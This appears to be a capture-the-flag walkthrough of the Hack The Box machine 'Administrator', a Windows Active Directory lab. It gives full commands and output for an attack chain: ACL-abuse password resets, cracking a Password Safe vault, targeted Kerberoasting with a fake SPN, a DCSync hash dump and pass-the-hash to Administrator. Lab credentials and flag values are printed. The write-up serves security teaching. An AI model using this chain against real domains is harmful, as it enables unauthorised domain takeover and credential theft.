HTB Administrator: Medium Walkthrough – ACL Abuse Chain to Targeted Kerberoasting and DCSync
Introduction
Administrator is a Medium-difficulty Windows Active Directory machine that starts, unusually, with valid domain credentials handed to you upfront. There’s no initial web app to exploit or obvious foothold to find — the challenge is entirely about enumerating and abusing Active Directory permissions (ACLs).
This makes it a great machine for beginners who already understand basic AD concepts (users, groups, Kerberos) and want to learn how BloodHound is actually used in practice: not just to draw a pretty graph, but to walk an attack path one edge at a time — abusing object permissions like GenericAll, ForceChangePassword, and GenericWrite — until you land on a technique (targeted Kerberoasting) that yields a crackable credential, and finally a right (DCSync) that dumps the entire domain database.
Attack Chain Summary
Recon (Nmap/SMB/LDAP) → Olivia (given creds)
→ GenericAll on Michael → reset Michael's password
→ Michael has ForceChangePassword on Benjamin → reset Benjamin's password
→ Benjamin's FTP creds → download Backup.psafe3 (Password Safe vault)
→ crack vault master password (rockyou) → creds for alexander, emma, emily
→ WinRM as emily → user.txt
→ emily has GenericWrite on Ethan → targeted Kerberoasting on Ethan
→ crack Ethan's TGS hash (rockyou) → Ethan has DCSync rights
→ secretsdump.py (DCSync) → Administrator NT hash
→ Pass-the-Hash via Evil-WinRM → root.txt
Reconnaissance
The initial Nmap scan reveals a typical Domain Controller service footprint:
sudo nmap -sS -sV -sC 10.129.30.31
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
For a beginner, the key ports to recognize here:
- 21 (FTP) — a plaintext file transfer service, worth checking for anonymous or credentialed access later.
- 53 (DNS) — Simple DNS Plus, Windows’ AD-integrated DNS server.
- 88 (Kerberos) — the authentication protocol used by AD. Its presence, along with 389/445, confirms this is a Domain Controller.
- 389/3268 (LDAP/Global Catalog) — the directory service protocol used to query users, groups, and permissions in AD.
- 445 (SMB) — file sharing and remote administration; also used for NTLM authentication.
- 5985 (WinRM) — PowerShell Remoting over HTTP. If we get valid credentials, this is our likely path to a shell.
We were provided credentials to start: Olivia:ichliebedich on domain administrator.htb.
echo "10.129.30.31 administrator.htb dc.administrator.htb" | sudo tee -a /etc/hosts
sudo ntpdate 10.129.30.31
ntpdate syncs our clock with the DC — Kerberos authentication fails if there’s more than ~5 minutes of clock skew between client and server, so this step is mandatory before any Kerberos-based tooling works.
Enumeration
SMB — validating credentials and checking access
nxc smb 10.129.30.31 -u 'Olivia' -p 'ichliebedich'
[*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:None) (Null Auth:True)
[+] administrator.htb\Olivia:ichliebedich
nxc (NetExec, the modern fork of CrackMapExec) confirms the credentials are valid. The Null Auth:True flag is interesting — it means the DC also permits an unauthenticated/anonymous SMB session, which is worth remembering for other engagements, though not directly useful here.
Enumerating shares and password policy with the same credentials:
nxc smb 10.129.30.31 -u 'Olivia' -p 'ichliebedich' --shares
nxc smb 10.129.30.31 -u 'Olivia' -p 'ichliebedich' --pass-pol
Only the default administrative and SYSVOL/NETLOGON shares are exposed — nothing containing custom, sensitive files. SYSVOL and NETLOGON are default shares present on every DC (used to distribute Group Policy and logon scripts); browsing them didn’t reveal anything useful here.
LDAP — enumerating the user base
LDAP is the protocol used to query the AD database directly. With valid creds we can pull the full user list:
ldapsearch -x -H ldap://10.129.30.31 -D "Olivia@administrator.htb" -w "ichliebedich" \
-b "DC=administrator,DC=htb" "(objectClass=user)" sAMAccountName -LLL
This returns 10 accounts: Administrator, Guest, krbtgt, olivia, michael, benjamin, emily, ethan, alexander, emma. This user list becomes our roadmap — the rest of the box is essentially about hopping between these accounts.
WinRM — confirming remote access works
nxc winrm 10.129.30.31 -u 'Olivia' -p 'ichliebedich'
[+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
nxc flags this as “Pwn3d!” because Olivia is a member of a group allowed to use WinRM — meaning we can get an interactive PowerShell shell immediately with evil-winrm. However, having a shell as Olivia isn’t the goal; the real objective is escalating through the domain, which is where BloodHound comes in.
BloodHound — mapping the attack path
BloodHound collects AD relationships (group memberships, ACLs, session data) and represents them as a graph, letting you visually trace paths from your current user to Domain Admin.
bloodhound-python -c All -ns 10.129.30.31 -u 'Olivia' -p 'ichliebedich' -d administrator.htb
Loading the collected data into BloodHound and querying Olivia’s outbound edges reveals:
- Olivia has
GenericAllover Michael’s user object.
GenericAll is essentially full control over an AD object — it lets you do almost anything to it, including resetting its password without needing to know the current one. This is a critical misconfiguration: whoever holds GenericAll on a user account effectively owns that account.
bloodyAD --host 10.129.30.31 -d administrator.htb -u Olivia -p 'ichliebedich' set password Michael 'Password123'
Continuing the graph traversal from Michael reveals a second edge:
- Michael has
ForceChangePasswordover Benjamin.
ForceChangePassword is a narrower right than GenericAll — it only allows resetting the target’s password (not modifying group membership or other attributes), but that’s all we need to pivot again:
bloodyAD --host 10.129.30.31 -d administrator.htb -u Michael -p 'Password123' set password Benjamin 'Password123'
[+] Password changed successfully!
BloodHound also shows Benjamin is a member of the Share Moderators group — a hint that Benjamin has access to some file-sharing service. Since SMB shares turned up nothing new for Benjamin, the next logical service to check is FTP.
Foothold / Initial Access
FTP — retrieving a password vault
ftp 10.129.30.31
Name: Benjamin
Password: Password123
ftp> ls
10-05-24 09:13AM 952 Backup.psafe3
Backup.psafe3 is a Password Safe database file — a password manager format (.psafe3) that stores multiple credentials encrypted behind a single master password. Finding one on an FTP share accessible only to a “Share Moderator” is a classic breadcrumb: it’s designed to be cracked offline.
We extract a crackable hash from the vault and run it through John the Ripper against the rockyou.txt wordlist:
pwsafe2john Backup.psafe3 > psafe_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt psafe_hash.txt
tekieromucho (Backup)
The master password tekieromucho decrypts the vault, revealing three additional sets of credentials for alexander, emma, and emily. (This was done using a small custom Python script built around a Password Safe v3 parsing library, since a proper CLI tool wasn’t readily available in this environment — the underlying idea is standard: parse the vault format, decrypt records with the master password, and print each stored username/password pair.)
alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emma : WwANQWnmJnGV07WQN8bMS7FMAbjNur
emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb
WinRM as Emily — user flag
evil-winrm -i 10.129.30.31 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
b3e636bf03dbe9ef88e0e5ee98a51098
Privilege Escalation
GenericWrite on Ethan → Targeted Kerberoasting
Back to BloodHound: Emily’s outbound edges show GenericWrite over Ethan. GenericWrite lets us modify most attributes of the target object but — unlike GenericAll — it does not include the right to reset the password directly. This calls for a different technique: targeted (or “shadow”) Kerberoasting.
Kerberoasting normally targets accounts that already have a Service Principal Name (SPN) set — any domain user can request a Kerberos service ticket (TGS) for such an account, and that ticket is encrypted with a hash derived from the account’s password. If the account’s password is weak, the ticket can be cracked offline. Our earlier attempt found no existing SPNs on any account (GetUserSPNs.py returned no entries), so this path looked closed.
The trick with GenericWrite is that it lets us assign an SPN to an account that doesn’t normally have one — since SPNs are just an LDAP attribute we now have permission to write. Once Ethan has a (fake) SPN, we can request a TGS for it exactly like a normal Kerberoast, and crack the resulting ticket offline:
bloodyAD --host 10.129.30.31 -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb \
set object Ethan servicePrincipalName -v 'HTTP/fake-spn'
GetUserSPNs.py administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -dc-ip 10.129.30.31 \
-request-user Ethan -outputfile hashes.kerberoast
This returns a $krb5tgs$23$... hash — a Kerberos 5 TGS-REP ticket encrypted with Ethan’s NT hash-derived key (etype 23 = RC4-HMAC). We crack it offline with hashcat, mode 13100 (Kerberos 5 TGS-REP etype 23):
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
Pass: limpbizkit
DCSync — dumping the domain
Checking Ethan’s rights in BloodHound reveals the final and most powerful edge in the chain: Ethan has DCSync privileges on the domain.
DCSync abuses the Directory Replication Service (DRS) protocol that Domain Controllers normally use to replicate data between each other. Any account holding the Replicating Directory Changes and Replicating Directory Changes All extended rights can impersonate a Domain Controller and ask the real DC to “sync” (send) password hashes for any account — including krbtgt and Administrator — without ever touching the DC’s filesystem or triggering typical credential-dumping detections tied to LSASS access.
secretsdump.py administrator.htb/ethan:limpbizkit@10.129.30.31
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
...
We now have the Administrator account’s NT hash. Since NTLM authentication only requires the hash (not the plaintext password), we can authenticate directly with Pass-the-Hash:
evil-winrm -i 10.129.30.31 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
950dc61e2fa0a7b95659e33ce7d217a2
Flags
User flag : [redacted]
Root flag : [redacted]
Key Takeaways
- BloodHound is the real weapon on this box. No exploit code, no CVE — just methodically walking ACL edges (
GenericAll→ForceChangePassword→GenericWrite) from one low-privilege account to Domain Admin. GenericAllandForceChangePasswordon a user object are equivalent to owning that account — either right lets you reset the password and authenticate as them, no cracking required.GenericWriteis more restrictive but still dangerous — you can’t reset a password directly, but you can write a fake SPN and pull off a targeted Kerberoast, turning a write permission into a crackable credential.- Password manager vault files (
.psafe3, KeePass, etc.) found on shares are meant to be cracked offline — always run master-password hashes through John/hashcat with a wordlist like rockyou before giving up. DCSyncrights are effectively “domain admin” in disguise — any account withReplicating Directory Changes Allcan pull every credential in the domain viasecretsdump.py, no shell on the DC required.